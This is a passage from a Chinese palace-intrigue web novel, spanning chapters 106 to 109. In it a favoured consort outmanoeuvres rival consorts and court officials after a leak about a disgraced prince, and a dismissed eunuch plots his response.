江舲瞥了眼张善,没戳穿他吹嘘自己大度的话。张善算不得斤斤计较,但绝非大度之人。上任初始便摔得颜面尽失,他肯定会记在心上。 “他们对你毕恭毕敬,老实听差,你找不到借口革除他们的差使,换上自己的人手。” 江舲拧眉,顺着勾当皇宫护卫们的反应仔细分析,“你在明,他们在暗,防不胜防。你遭受多了,便会气急败坏,等你乱了阵脚,胡乱找茬罚没人,激起众怒,你可能会被革职,也有可能引起护卫不满大乱。” 兵乱营啸! 当皇宫护卫乱起来,比兵乱营啸还要严重。毕竟勾当皇宫护卫在宫中,宫中诸人最为危险! 江舲心神一凛,她见张善浑身不安,赶忙克制住了情绪,肃然道:“眼下全部是你的猜测,毫无凭据。你就当是自己摔了一跤,莫要轻举妄动。” 张善愣了下,道:“娘娘说得是,奴婢也没法子,就是来跟娘娘诉诉苦。” 江舲道:“你自己留个心眼,以不变应万变,我猜你想要急吼吼换上自己的人手,这个念头你还是打消为好。勾当皇宫护卫差不多六十人,袁长生早就经营得密不透风。你突然去做了他们的上峰,原来想着升迁,在里面有声望的人如何能服。你自己才几个亲信,他们都在御前当差,御前的内侍,由不得你乱动。何况你只换几个人去,解决不了任何的问题。” 张善确实有换上自己亲信的心思,被江舲一说,他难掩忐忑,焦急地道:“娘娘,那奴婢该如何办?” “要是护卫们有骚动,皇上首先会不答应。” 江舲心头郁闷不已,近六十人的护卫,实则不算多,宫中有近四百的内侍,悉数换掉也足够。 难就难在,袁长生领着勾当皇宫这些年,从未出过差错,元明帝对他们无比信任。大动干戈换人,元明帝不会答应。 江舲冷冷笑起来,“你按兵不动,只管领着他们像往常那样当差便是。” 既然袁长生以退为进,她就干脆送他一程,让他退个干净! 张善没了法子,只能听从江舲的吩咐,“奴婢知道了,娘娘放心,奴婢会死命忍着好好当差。” 太阳升起来,天气逐渐炎热。江舲喜欢明亮通透,文涓支起窗棂,半卷起纱绡。黄梁走了过来,脸上堆满笑,道:“文涓在忙呢?” 文涓笑着回道:“我不忙,就是打开窗棂透透气。黄大伴来找娘娘?” “我想着娘娘得空的话,进去陪皇上说说话。” 黄梁愁眉不展,苦笑着道:“皇上近来龙体欠安,娘娘去的话,顺道将窗棂也打开,一并透透气。” 文涓惊讶道:“我先前见蒋御史中丞在,窗棂也关着?” “可不是,唉。”黄梁袖手望天,叹了声气,“蒋御史中丞来了好一阵子,不知关在屋中说着什么。门窗闭着不通气,我怕皇上热着,身子吃不消。” 文涓神情一顿,忙道;“我去与娘娘说一声,这就让娘娘前去伺候皇上。” 黄梁点点头,“劳烦文涓了。”他说着话,转身回去卧房。 文涓赶紧进屋,将黄梁所言之语一一回禀。她留在屋外,就是为了盯着朝臣前来见元明帝的动静,江舲已得知蒋御史中丞前来面圣。 御史监察弹劾百官,蒋御史中丞乃是朝堂重臣,元明帝对他颇为器重。 黄梁从不会与人随便寒暄,他特意来提及蒋御史中丞。江舲脸色微变,蒋御史中丞见元明帝,定与她有关。 “我去一趟。”江舲当即起身朝外走去。 黄梁守在门口,见到江舲前来,赶紧躬身见礼,道:“娘娘,皇上屋中有人。” 江舲朝屋内看了眼,扬声道:“天气闷热,将窗棂打开透透气,皇上的龙体要紧,吴太医正呢,你去唤他来,今天还没给皇上请平安脉。你熬煮些清凉的茶水送进去,哎哟,这大半日的辰光了,皇上可经不起劳累。” 黄梁赶忙照着江舲的安排去开窗,卷纱绡帘子。她的声音大,清清楚楚传了进屋。 很快,蒋御史中丞走了出屋,神情明显不悦。他倒不敢直言质问江舲,朝她抬手见礼之后,大步离去。 江舲大感不妙,进了卧房,见到元明帝靠在床头,阴沉着脸朝她看来,“朕在见朝臣,你在外吵嚷,成何体统!” “皇上脸色不好,可是伤口又疼了?” 江舲不接话,只官关心地道:“皇上且忍一忍,我让人去请吴太医正来了,等下给皇上施针。” 天气热起来后,元明帝的腿不似以前那般疼,只裹着之处痒得难受。他卧床太久,虚弱无力心烦意乱。听到江舲传了吴适山,不耐烦地道:“一群庸医,这般久都治不好朕的伤,要他们何用!让他们滚,朕不想见到他们!” 见元明帝脾气暴躁,江舲怕伤及无辜,对捧着清凉茶水进屋的黄梁道:“你让吴太医正他们回去,茶水给我,我服侍皇上吃茶。” 黄梁放下茶盏,赶忙出去传话了。江舲倒了盏茶奉上,道:“皇上,动怒伤身,吃几口茶顺顺气。” 元明帝从鼻孔中喷出一声,斜瞥了眼江舲,接过茶盏吃了口。茶中添了薄荷,清凉下肚,气勉强顺了些。 “你阿爹大哥在外尽给朕惹事,真是不让朕省心!” 江舲微微一惊,江修文江承望父子有两个师爷看着,肯定惹不出祸事。且舆部还有秦尙宫看着,花木皆一切正常。他们的惹事,肯定是被人陷害栽赃。 “皇上,我阿爹大哥他们犯了何事?”江舲问道。 “犯何事!他们胆子大得很,赵雍礼高老夫人跑去江府,江府大门紧闭,不让他进去。江府门前热闹得很,江氏趾高气扬,是要逼着赵雍礼高老夫人下跪。赵雍礼高老夫人都跪下了,京城如今都传开了。高老夫人已年过花甲,赵雍礼是侍郎,江氏也敢接受他们的一跪!” 薛氏与高老夫人是品级相同的诰命夫人,薛氏年轻,身为后辈,高老夫人这一跪,便落了个不尊老的名声。 赵雍礼是兵部侍郎,官职比江修文江承望高。高老夫人下跪不大要紧,他这一跪,事情便严重了。 对朝臣官员而言,官员的品秩森严。君君臣臣,父父子子,亦是大胤的统治之本。 昨日赵雍礼赵侍郎跟无头苍蝇一样前去郑府寻郑相,郑相尚未进宫,不知情形如何。今天赵雍礼跑到江府门口下跪,他想不出这样的办法,背后少不得高人指点。 江舲虽猜不到是谁在背后指挥,她能断定,这些都是冲着她而来。 元明帝冷冷地道:“江氏仗势欺人,嚣张跋扈,御史争先恐后弹劾他们。朕不便临朝,蒋御史中丞亲自来了,称还有御史弹劾阿珏,赵氏。阿珏圈禁在皇庄。赵氏虽蠢,又何苦步步紧逼,赶尽杀绝。” 江舲沉默片刻,她也不解释,唤来文涓吩咐了几句:“皇上瞧过之后,孰是孰非,心里肯定自有判断。” 文涓抱着红木匣子进来,江舲接过放在床沿边,打开匣子。 元明帝探头看去,他怔愣住,惊讶道:“丹书铁券?” “是丹书铁券,皇上还记得。” 江舲回了句,合上匣子,让文涓拿回去放好,“皇上,丹书铁券一直在我手上,我从没告诉过阿爹大哥他们,就是要让他们谨守本分,莫要恃强凌弱。阿爹不过是工部郎中,大哥只是员外郎,他们有自知之明,没那本事做大官,从不钻营,靠着我去谋求官职。” 元明帝看到丹书铁券,神色已缓和了大半。江舲确实如她所言那般,从未替江氏谋求过一官半职。 她自己一样如此,掌管着尙寝局,身边积攒的钱财,搬到琼华阁时,一并搬了来。就几匣子的贴身体己,大多还是他以前所赏赐。 “太欺负人了!” 江舲突然沉下脸,愤怒地道:“赵侍郎高老夫人既然心怀叵测,莫名其妙跑到江氏门前去下跪。早知如此,我该把丹书铁券给阿爹。有人敢欺负上门,干脆直接打死作数!” 元明帝瞪大眼,不禁呛咳起来,讪讪道:“你又在胡说八道,怎能随便打死人。罢了罢了,你别生气,弹劾就弹劾,朕不予理会就是。” 江舲不依了,“江氏与赵氏素无往来,赵侍郎高老夫人为何跑到江氏门前下跪?他们存着何种居心!阿爹大哥老实巴交,这一次躲过了,指不定还有下一次,他们还不得被吓破胆。皇上,此事断不能就这么算了,不能寒了老实人的心呐!” 元明帝被江舲一闹,头开始隐隐作痛,她一副委屈地模样,看得他不忍,忙安抚她道:“行行行,朕依了你,朕让人去查,还你阿爹大哥一个清白。” 江舲心思转得飞快,道:“皇上,让政事堂的相爷们去查,让郑相去,他是百官之首,有威严。还有丁皇城使,皇城司守卫京城,人手多,查得快!” 元明帝揉着眉心,失笑道:“瞧你,跟着朕这么久,亏你说得出郑相有威严,皇城司人手多。行行行,你别吵,哎哟,吵得朕头疼。” 江舲暗自呵呵冷笑,见目的达成,蹭地站起身,“我替皇上去传话!” 第107章 郑相丁尙很快前后脚赶来, 江舲在客舍上首坐着。两人进屋后,觑着她面无表情,漫不经心地吃着茶, 不知为何,比起见到元明帝时还紧张。 “坐吧。”江舲抬了抬手, 语气淡淡道。 今朝不见内侍伺候,只有文涓与紫衫两人奉茶。两人放下茶盏, 一起退了出屋。 江舲视线扫过两人, 略过元明帝,道:“江府门前的热闹, 两位应当已经得知了。”她简单说了句,脸陡然一沉, “我很是生气。” 丁尙顿了下, 垂首不敢做声。郑相心中忐忑,忙道:“娘娘,臣到底上了年岁, 来回赶路, 身子略有不适, 在府中歇息。先前听到消息后, 连忙进了宫, 正欲向皇上娘娘回禀此事。” “我并非在指责两位, 我生气,亦不全因着江氏受了委屈欺负。” 江舲开门见山, 将两人摘除在外。看到他们微不可查松了口气, 如今她能对他们形成威慑,心里甚是满意。 “赵侍郎与高老夫人前去江府,你我皆知所为何事。二皇子犯下的差错, 往轻了说是不孝,往重了说是行刺天子。赵氏这般做,是让人以为,二皇子是被陷害,而且是被我所陷害。我为了皇家的脸面,为了皇上的龙体,有口难言。” 江舲神色讥讽,她呵呵两声,“如今再解释,道出真相已无用。传闻比真相传得更快,无人在意真相,惟有各种乱七八糟的猜测,跟说书唱戏一样,才更刺激精彩。” 丁尙郑相皆知晓实情,萧允珏被圈禁在皇庄,实属咎由自取,江氏无辜,遭受了无妄之灾。 幸好江氏不曾开门,要是让两人进到府中,高老夫人上了年岁,老眼昏花摔倒,晕倒受伤,江氏愈发脱不了干系。 “娘娘,臣昨日回府后见到赵侍郎,他并非是向臣打探二皇子之事,他已得知二皇子犯了事,被送到皇庄圈禁。臣当时问他,是从何处得了消息。赵侍郎谎称是一个闲汉给他递了消息。臣追问赵侍郎,事关皇子,朝廷中都无几人得知,一个闲汉如何能知晓。” 郑相将赵侍郎前来之事,细细道来,他皱起眉,取出一张纸奉上前,“赵侍郎在臣的逼问之下,拿了这张纸给臣。说是闲汉并不认识送心之人,他是得了人二两银的跑腿钱,给赵侍郎送了这封信。” 江舲接过纸看了,上面写着萧允珏惹怒元明帝,被遣送到皇庄,由薛沧郑相张善一起押送。字迹端正,普通寻常。此处追查不到任何的线索。 “此封信应该从宫中送出去,按着时辰,在前日午后到赵侍郎前去郑相府上这段时日。” 江舲将信递给丁尙,眼神冰冷,“丁皇城使,这段时日出皇宫之人,劳烦你仔细核查,我要全部的名录。御前发生之事,竟然这般快就传了出去,这还了得!” 丁尙忙应是,“娘娘,臣照着吩咐,调换了宫门当差之人。不过,”他飞快瞄了眼江舲,见她神色平静,却无端头皮发麻:“照着时辰,臣还未来得及全部安排好人手,恐疏漏之处。” 他越说声音越低,皇宫宫门如筛子,要是找不出来人,他难辞其咎。 江舲不置可否,道:“赵侍郎得人指使,幕后之人居心叵测。江氏受了冤枉倒是其次,这些人乃是在扰乱朝纲!丁皇城使,你替皇上守皇城,守护皇上安危,这一次,你一定要替皇上守住!” 丁尙冷汗津津,他赶忙起身应道:“娘娘,臣定会仔细去查,将京城翻个底朝天,把人找出来!” 江舲唔了声,微微点了点头,再对郑相道:“赵氏无论是被挑拨,亦或真替二皇子担心,行径皆卑劣,不可饶恕。被挑拨,是赵氏蠢笨,蠢笨之人,如何能做侍郎?担心二皇子,应当进宫问明缘由再行事。赵氏不敢进宫来问,应当是心知肚明,毕竟二皇子常与赵氏子弟来往,性子如何,赵氏何尝不清楚。他们找上江氏,就是为了陷害江氏。众所周知,江氏是阿瓒的外家,阿琅跟着我,他也脱不了干系。呵呵,好歹毒之心,想着要将皇子一网打尽!” 丁尙与郑相互相对视,脸色皆大变。 元明帝膝下四个皇子,萧允瑞已亡,萧允珏受伤,又被元明帝厌弃。现在只余下萧允瓒萧允琅,江氏被污蔑陷害,矛头实则指向两个皇子。 “御史闻风而奏,皇上必要分出心思来解决。此时本就荒谬,稍许用脑子一想,明辨是非之人,皆会对此等行经嗤之以鼻。朝廷中究竟有哪些官员,不分青红皂白跟着上折子,郑相领着政事堂,要将这些折子捡出来。” 郑相心中一惊,江舲此举,可是要清算朝中支持萧允珏一系的朝臣了? 自从元明帝受伤之后,朝堂上下风波诡异。原来暗中支持萧允瑞的官员,已然无望。萧允珏虽受伤,他到底还活蹦乱跳。元明帝正当盛年,朝局多变,究竟谁能得胜,不到最后关头,无人知晓。 郑相想到孙子郑小郎与赵舜的争斗,江舲只怕已经知晓,不禁心神不宁,手心被汗水濡湿。 江舲既然将此事交给自己…… 郑相到底为官多年,他很快稳住了神,心里有了决断,抬手躬身应道:“娘娘,臣遵旨。” 两人告退离开,江舲见离午膳还早,前去了福宁宫。 时值初夏,福宁宫花木葱茏,石榴花开红似火。除去安静了些,与往常并无区别。 宫殿格局大致相似,七开间一字排开,气势巍峨。 江舲打量着眼前紧闭的门窗,惊惶请安的宫女们,恍惚记起初次前来福宁宫贺寿的情形。 那时的福宁宫喜气洋洋,宫女嬷嬷们浑身透着一股不经意的傲然,走路脚下生风。她小心翼翼跟在苏月身后,因为即将与人打交道,紧张得透不过气,身着厚重的宫装,被汗水濡湿紧贴在后背。 进了屋后,屋中凉意阵阵,暗香盈动。没一会就凉快下来,湿衣衫贴在后背,她手足无措得忘了难受,仅坐在那里,就耗费了她所有的力气。 苏月早已化作累累白骨,福宁宫的花团锦簇中,散发着莫名的衰败之意。 大门吱呀一声打开,谢嬷嬷站在一侧屈膝见礼,赵德妃一身月白衣衫立在门前。她发髻松松挽在脑后,发间的银丝在太阳下闪烁。 “真是稀客啊,没曾想到,慧淑妃日夜服侍皇上,竟然肯出门了。不知慧淑妃大驾光临,来福宁宫有何贵干?” 赵德妃开了口,声音沙哑,她并不见礼,淬着寒冰的双眸,直勾勾盯过来。丰腴的脸颊,消瘦之后,显得刻薄凌厉。 江舲神色如常,在廊檐下站定,迎着赵德妃的目光,平静地问道:“赵侍郎与高老夫人去江府之事,你应该知道了。” 赵德妃一愣,她冷笑起来,“我在宫中,对宫外之事如何能得知。原来,慧淑妃肯出垂拱殿,是上门来兴师问罪了。也是,我如今身份虽在,却早已不受宠,我儿又被算计,谁都能上门来踩一脚!” “你承认也好,不承认也罢。” 江舲轻点着头,干脆利落地道:“是,我是来上门踩你一脚,痛打落水狗。” 赵德妃脸上的笑瞬间消失,柳眉倒竖,厉声道:“即便我如今落了难,到底是皇上亲封的德妃,与你皆是一品嫔妃,你莫要欺人太甚!” “当年赵德妃来找我,就是仗着你是一品嫔妃的身份,糊弄我,逼迫我接受灯烛司的差使。赵德妃,你莫要认为,我笨得感觉不到,你是在算计我,欺负我吧?” 江舲抬了抬下巴,盛气凌人道:“我不像你,仗仗势欺人还摆出一副菩萨面孔。我就是来看你笑话,明着来欺负你,你能奈我何?” 数次前去垂拱殿,连大门都不得进入。赵德妃更亲眼目睹,袁长生被江舲拦在外面。现在袁长生被杖责,差使落在了张善头上。 赵德妃试图找过张善,他对她避之若蛇蝎。她心里明白,张善早成了江舲的人。 思及被送出宫的萧允珏,赵德妃心中剧痛,无力,绝望蔓延,连喘气都困难。 赵德妃再也控制不住,形容癫狂起来,尖声道:“你不过是靠着一身狐媚本事,以色侍人的玩物,得了几分宠爱,就张狂起来!宫中从不缺新人,待你年老色衰,看你还能嚣张到几时!你害了我儿,心虚拦着不让我见皇上,有本事就把我儿直接派人杀了!你坏事做尽,迟早会报应到你那两个儿子身上!” “我能嚣张到几时,轮不到你来操心。你瞧你,就只这点歇斯底里诅咒的本事了?可惜,你的诅咒要有用,就不会落到如此下场。” 赵德妃说得没错,她是靠元明帝的宠爱,方拥有了如今的地位。但她们不同之处,在她是人,始终是有血有肉,有底线良知的人。 江舲依旧不愠不怒,眉毛微扬,“当时你从城墙的石阶上冲下来,想要把我撞下去,幸好老天有眼,没能如你的愿。从头到尾,我没跟你计较,你还倒打一耙了。你那好儿子,手上沾了多少的人命,你难道不清楚?赵嫔已经不在,二公主是你亲侄女,她能碍着你什么,上一辈的恩怨,你却对她不闻不问。赵氏虽是破落户,你也算是衣食无忧长大。你不把穷人当人看,也不把亲人当人看。在你眼里,只有权势富贵。” 赵德妃神色狰狞,站立不稳倒在谢嬷嬷身上,不断地喘着粗气,怨毒地盯着江舲,“姐姐是因你被送到皇庙去,你却在这里充当好人,你何来的脸面指责我!” “赵嫔可否无辜,你心知肚明。” 江舲慢慢抬起手,垂眸闲闲打量着,“我的双手干干净净,问心无愧。你心太脏,臭不可闻,你的那些野心,可笑至极。你儿不配,你也不配!” “贱人,贱人!江氏,你不得好死,不得好死!”赵德妃恨得目眦欲裂,咬牙切齿地骂。 “打你,会脏了我的手。” 江舲始终淡定自若,声音不高不低,“你再使小动作,起不该有的心思,我会让你生不如死!” 言尽于此,江舲不再多言,转身施施然离去。 赵德妃在身后咆哮着,嘶声怒骂,江舲脚步轻快,头也不回。 她不再是以前要看所有人的脸色行事,躲在角落,与人说话便会心慌气短的小才人。 她要掌得住权,就必须自己真正立起来,而非靠帝王虚幻的宠爱。 出了福宁宫,江舲朝柔仪宫走去。 柳贤妃欲蛰伏自保,再伺机而动,岂能如她的愿! 第108章 季节交替时节, 柳贤妃总会生病。往年不过三五日便会好转,今年缠绵多日,仍旧精神恹恹。 萧珈桐孝顺, 日夜陪伴左右侍疾。柳贤妃喜静,两人在书房中, 或读书,写字, 偶尔交谈几句。 太阳透过纱绡, 在书案上投下斑驳的日影。萧珈桐捧着书,怔怔看向柳贤妃, 许久都不曾翻动一页。 柳贤妃背靠在椅背中,手搭在椅子扶手上, 撑着下颚, 一动不动望着窗棂外。微风卷起写了一半大字的纸,砚台中的墨汁早已干涸。 不知过了多久,萧珈棠眼睛干涩, 难过地捏紧了书。近来诸事不顺, 柳贤妃疲于应对, 她却无用, 帮不上半点忙。 屋外传来轻微的脚步声, 萧珈棠抬头看去, 柳贤妃跟着侧首,苍白的脸背着光, 眼角的皱纹尤其清晰。 尙嬷嬷掀帘进屋, 神色紧张地屈膝见礼,“娘娘,大公主, 慧淑妃娘娘来了。” 萧珈棠顿时紧张地站起身,道:“她来作甚?” 尙嬷嬷一脸为难,柳贤妃怔愣了下,道:“她动作还真是快,请她进来。” 萧珈棠急着道:“慧淑妃上次在灵堂前对娘娘万般刁难,她愈发嚣张,还找上门来,娘娘决不能见她。” 柳贤妃朝尙嬷嬷摆了摆手示意,看着焦急的萧珈棠。心底微微叹息。她虽聪慧,到底年轻了些,沉不住气。 “阿棠,遇事先莫要慌张,三思再三思。” 柳贤妃耐着性子教导萧珈棠,她苦笑了声,道:“慧淑妃在宫中能横着走,谁能拦着她?还不如将她客气请进来。” 萧珈棠哪能放得下心,柳贤妃所言极是,又向来说一不二。她不敢违背,只能不添乱,赶紧收拾好书本,屈膝退了出屋。 柳贤妃揉着眉心,努力振奋精神。旋即,她禁不住自嘲一笑。 谁曾想到,当年木讷愚钝的小才人,竟然能成为她最大的对手! 尙嬷嬷领着江舲进了书房,柳贤妃仿佛两人不曾在萧允睿灵堂前争执过,客气见礼,“慧淑妃稀客,快请来坐。” 书房两面几乎与房梁一般高的书架,架上摆满了书与字画。临窗书桌上,古朴陶罐花瓶中,插着车前草,铜钱一样的叶片散落下来,雅致闲适。 “这间书房真是不错。”江舲夸赞了句,在椅子里坐了下来,双手搭在扶手上,姿态随意而自在。 尙嬷嬷送了茶水进屋,柳贤妃让她退下,亲自提壶斟茶,目光在江舲身上略作停顿,道:“慧淑妃气度不凡,到了书房,真正宾至如归。” 江舲对着摆在面前的清茶,欠身致谢,仿佛没听到柳贤妃指她仪态坐姿的弦外之音,道:“书读得再多,也不一定能成为好人。” 柳贤妃顿了顿,她目光沉沉看着江舲,道:“慧淑妃这句话,令我很是惭愧。我确实读过很多书,不知在慧淑妃眼里,我是好,还是坏?” “二皇子冲撞皇上,被送到皇庄圈禁。与此同时,有人给赵侍郎送信,赵侍郎先去郑相府上打探,再找到我娘家江氏府上去。我娘家小门小户,阿爹胆小,没敢开门。赵侍郎高老夫人在门外下跪,令京城上下哗然。” 江舲没回答柳贤妃的问题,简明扼要描述了江氏府前发生之事,她停顿片刻,扬了扬眉,道:“江氏有铁书丹券。” 柳贤妃吃了一惊,神色愕然,“皇上待慧淑妃真是捧在手心疼爱,无人能及。” “没法子,我一向安分守己,真正心地善良,皇上疼爱我也不足为奇。” 江舲笑起来,极为不客气承认了柳贤妃的话,顺道夸赞了自己。看到柳贤妃神色复杂,她话锋一转,脸上的笑容淡去,冷冷道:“赵侍郎高老夫人再如何闹腾,伤不到江氏的半根毫毛,只怕让背后指使之人要失望了。” 柳贤妃心沉了沉,垂下眼睑掩住了眸中翻滚的情绪,道:“慧淑妃真是厉害。” 江舲呵呵,“既然得皇上疼爱,江氏有铁书丹券在手,还能被人算计了去,简直是大胤之辱!这信送得太快了些,几乎前后脚就送出了宫。御前的消息走漏得这般快,丁皇城使已奉命前去细查,除非那人能有飞天遁地的本事,经过皇宫宫门,总要留下痕迹。窥探御前之人,定逃不脱。蠢与坏是双生子,赵氏便是如此。我先前去找过赵德妃,警告过她,让她莫要再惹我,惹我的话,我让她生不如死。” 柳贤妃的手不知不觉拽紧,眸中一片冰冷,她哦了声,“原来还有这等之事。慧淑妃这般威风,赵德妃确实不敢惹。” 江舲笑了笑,她缓缓靠近书案,一瞬不瞬直视着柳贤妃,压低声音道:“我与你说几件事,当年方司灯,高才人,李婕妤,高才人的青梅竹马章二郎,庄美人等等,他们之死,应当都是同一人所为。” 柳贤妃屏住了呼吸,瞳孔控制不住猛地一缩。她使劲掐住了手心,方极力克制住情绪,道:“竟然如此,这背后之人究竟是谁,我实在想不到,还请慧淑妃指点一二。” 江舲将柳贤妃的反应悉数瞧在眼里,她退回椅背靠着,笑道:“肯定是坏人所为,这坏人有几分本事,在后宫兴风作浪,四下布局,冷眼看着大家厮杀,玩弄所有人于股掌之上。” 柳贤妃冷冰冰道:“慧淑妃的话,说得没头没尾,着实令人糊涂。既然慧淑妃知晓,为何不告诉皇上,让皇上惩治了坏人?” “皇上已经在查了。待查到真凭实据,定要灭了这人的九族。”江舲轻描淡写答了句,柳贤妃又是一震,脸色惨白发青。 “所谓的天衣无缝,算无遗策,最最滑稽可笑。其实大家都差不多,谁也不比谁聪明到何处去。落败,乃是因势不如人。你看,我就是这般。以前我任人搓扁搓圆,哪敢说半个不字。如今我成了慧淑妃,身份尊贵,品级高,手握权势,所以我能随意打压回去。比如袁长生,他在垂拱殿前吵嚷,想要闯进来。” 江舲摇头,啧啧两声,“袁长生那般聪明之人,他不会无缘无故变得莽撞,即便是试探,也不是他做得出来之事。我看呐,袁长生若非失心疯,便是有意为之。柳贤妃聪明,你认为袁长生是何种情形?” 柳贤妃脑子嗡地一声,呼吸渐促,费力地道:“袁长生是何种情形,我如何能知晓。在慧淑妃面前,我更不敢称聪明,毕竟慧淑妃手握权势,想要知道什么,随便一查就能得知。” 江舲没再追问下去,转回前面不曾答过的问题,“柳贤妃先前问我,你是好还是坏。我倒想听听,柳贤妃自己以为呢?” 柳贤妃紧盯着江舲,问道:“不知慧淑妃心以为的好与坏,如何判定?” “我以为的好与坏做不得准,这天底下无几人能做到。” 江舲神色惆怅,她想要的文明,在弱肉强食的大胤,无异于天荒夜谈,痴人说梦。 她并不想扭转柳贤妃的想法,故意虚张声势,打草惊蛇目的已达到,不再多言,起身往外走去,“打扰了,柳贤妃歇着吧。” 柳贤妃坐在椅子里没动,望着江舲离去的背影,身子簌簌发抖起来。 尙嬷嬷送走江舲,进屋来收拾茶盏。她看到冷汗直冒的柳贵妃,神色大惊,她连忙上前,急声道:“娘娘怎地了,娘娘,奴婢这就去请太医!” 萧珈棠得知江舲离开,她放心不下,忙赶来书房。在门口听到尙嬷嬷惊慌失措的喊声,脸色大变,一个箭步冲了进来。 柳贤妃目光僵直,犹如被抽去了所有的精力,变成了毫无生机的石像。 萧珈棠吓得声音都打颤,抢过尙嬷嬷手上的茶盏,“你快去请太医,我来守着娘娘!” 尙嬷嬷赶紧朝外跑,萧珈棠提起茶壶,手一个不稳,茶水溅了出来。所幸茶水不烫,萧珈棠浑然不顾,端着茶水奉到柳贤妃面前,“娘娘吃口茶,太医很快就来。” 柳贤妃终于有了反应,别转头,哑声道:“放下吧。” 萧珈棠赶忙放下茶盏,眸中包含眼泪,哽咽道:“娘娘,慧淑妃可是欺负娘娘了?” 柳贤妃深深喘了口气,道:“你去传话,我没事,无需看太医。” 萧珈棠要劝,柳贤妃目光凌厉,她赶忙去屋外,唤来宫女吩咐了下去。再转身回到书房,柳贤妃道:“阿棠,你坐,我有话与你说。” 初夏的太阳明媚,明明炎热起来,萧珈棠无端感到后背发寒。她坐了下来,心提到嗓子眼,神思难安。 柳贤妃静静开了口,“阿棠,我以前问过你,你可怕死。” 萧珈棠眼泪一下流了出来,伤心地道:“我阿娘去世得早,阿爹他……他从未管过我,我由娘娘扶养教导长大。娘娘替我操心,打点,安排,比亲生母亲还要亲。娘娘若有事,我也不会独活。” “阿棠,莫要说傻话。” 柳贤妃鼻子发酸,她红着眼,慈爱地道:“阿棠,你还年轻,出身在皇家,你是金尊玉贵的公主……” “阿娘,我不要做公主,公主有甚好!” 萧珈棠拔高了声音,打断了柳贤妃的话,“阿娘,我不要做公主,金尊玉贵又如何,顶多吃吃喝喝一辈子。像是阿娘所言那般,公主就是那金玉,金贵的摆设,一不小心就碎了,无甚大用。我努力读书,处处都比兄弟们强,阿娘,我不要做公主。” “我以前也如你这样想。”柳贤妃眸中浮起了泪光,神情凄凉,指着太阳光中飞舞的尘埃,“你瞧,我们就是这尘埃,世人只看到太阳,无人在意我们。无论你我再挣扎,轻轻一吹,便不再了。” 萧珈棠从未见到柳贤妃这般,哀伤无力。以前的柳贤妃,总是胸有成竹,冷静自持。萧珈棠心神欲裂,喉咙阵阵发紧,吃力地道:“娘娘,究竟发生了何事?” 柳贤妃惨然一笑,道:“阿棠,我错了,这些年来,我大错特错,偏生还不自知。” 她心头剧痛,悔恨不已。要待闭眼缓了口气,方有力气继续说下去。 “我自诩聪明,实则连对手都没认清。在这后宫,我们的对手不是福宁宫,不是重华宫,而是垂拱殿。有人入朝拜相,有人只能做个芝麻小官。江氏能从小才人到慧淑妃,我这一辈子,一个贤妃到了头。前朝后宫皆如此,不过都是靠着垂拱殿的宠爱,我真是蠢啊,尚未触及到权力时,要这清高有何用!” 萧珈棠愣在那里,柳贤妃自嘲地笑起来,“打了一辈子仗,连敌人都找错了。阿棠,如今后悔已晚,我养了你一场,真拿你当亲生女儿一样看待。哪忍心你跟着我受到连累。阿棠,你去找皇上,称你年岁大了,该搬出柔仪宫,去公主的宫中住。你是皇上的亲生骨肉,他会见你。” “娘娘”萧珈棠哭了起来,刚含糊说出两个字,被柳贤妃打断了。 “阿棠,你要听话,我都是为你好。你去跟皇上说,以后你会听慧淑妃的话,尊着敬着慧淑妃,让她看着你年轻,莫要怪罪你。” 柳贤妃背过头,抹去了眼泪,萧珈棠看得更是伤心欲绝。 “阿棠,回屋去收拾一下,待午歇之后就去,莫要耽搁了。以后,你就安心挑选个好驸马,养儿育女。” 萧珈棠眼泪疯狂地汩汩而下,猛然站起身,朝外冲了出去。 这些年来,她学的是定国安邦,她不甘心,她不甘心! 柳贤妃眼神冰冷,静静看着门片刻,往砚台中倒了清水。她提笔蘸墨,在纸上奋笔疾书。蜡封严实之后,唤来尙嬷嬷将信送了出去。 第109章 午间天气逐渐转阴, 乌云低垂,闷热潮湿,让人心烦意乱。 后背受伤, 躺不得坐不住,袁长生只能斜倚在榻上。不久之后, 半边身子便发麻得失去知觉。 直舍小院狭小,巴掌大的庭院角落种着几株虞美人。袁长生闲暇时喜欢伺候花草, 他最喜虞美人的花, 朱红的花,怒放时炙热如火。 花谢之后, 袁长生从不觉着惋惜,谢了之后还会再开, 从暮春会开到盛夏。 不知为何, 今年的虞美人,依旧郁郁葱葱,连花苞都不曾见。 袁长生立在窗棂前, 右手搭在左手臂上。左边身子已经恢复知觉, 他的手始终不曾放下。屋内昏暗, 身影与暗色仿佛融为了一体。 杨应一头汗扎进屋, 看到平时警惕的袁长生寂然不动, 他不由得一愣, 唤了声老大,压低声音道:“皇城司那边在大肆清查进出宫名录。” 袁长生终于转过身, 他动作极慢, 从窗棂前挪过来,“在查了啊。” 杨应胡乱抹了把头上的汗,焦急地道:“老大, 皇城司最近动作频繁,当值的人手皆被打乱安排,连当班的人都不知自己会被派往何处,一道当值的同仁是何人,丁尙亲自盯着查,他本是探子出身,老奸巨猾,无人敢在从中做手脚。老大,皇城司手段阴狠,一经审问,谁都招架不住。老大,不如” 他眼中狠意闪动,抬手在脖子上比划,“老大,留不得啊!” 袁长生沉默着没有做声,要是人没了,着实太过明显,会引起皇城司的警觉。 杨应等了一会,见袁长生凝眸沉思,他心里着急,上前一步,劝道:“如今的皇城司不比以前,承平日久,皇城司的兵将懒散,吃拿索要,养得膘肥体壮,一堆废物。老大,皇城司当差的人犯了事,丁尙也没脸,他只会藏着掖着,糊弄过去。” “皇城司的当值法子变了,皇城司就不再是以前的皇城司。宫中进出的那些事情,慧淑妃心里门清,她并未点出来,皇城司的过往一笔揭过。丁尙是老狐狸,他要继续领着皇城司,得要在慧淑妃面前表功。” 袁长生思索着前朝后宫最近的变动,不止丁尙,政事堂的风向似乎也变了。他眼底冷意闪动,道:“慧淑妃不好糊弄,查名录这一招,她是在打草惊蛇。就等着主动跳出来。” 杨应脸色一变,顿时没了主意,道:“老大,那该如何办?” 袁长生默然片刻,吩咐了几句。杨应一一应下,转身急步走了出去。 站立太久,牵扯到后背的伤,袁长生痛得脸色惨白,冷汗早已湿透衣衫。他撑着榻沿,费力地倚靠在软垫上。摊开紧拽着的手,里面的纸浸了汗,墨汁晕开,字迹已变得模糊,手心亦变得墨汁斑斑。 他自小做苦力活,手上伤痕密布。年成久了,伤疤不甚明显。墨汁盖住了大半。乍眼一看,像是一幅泼墨的画。 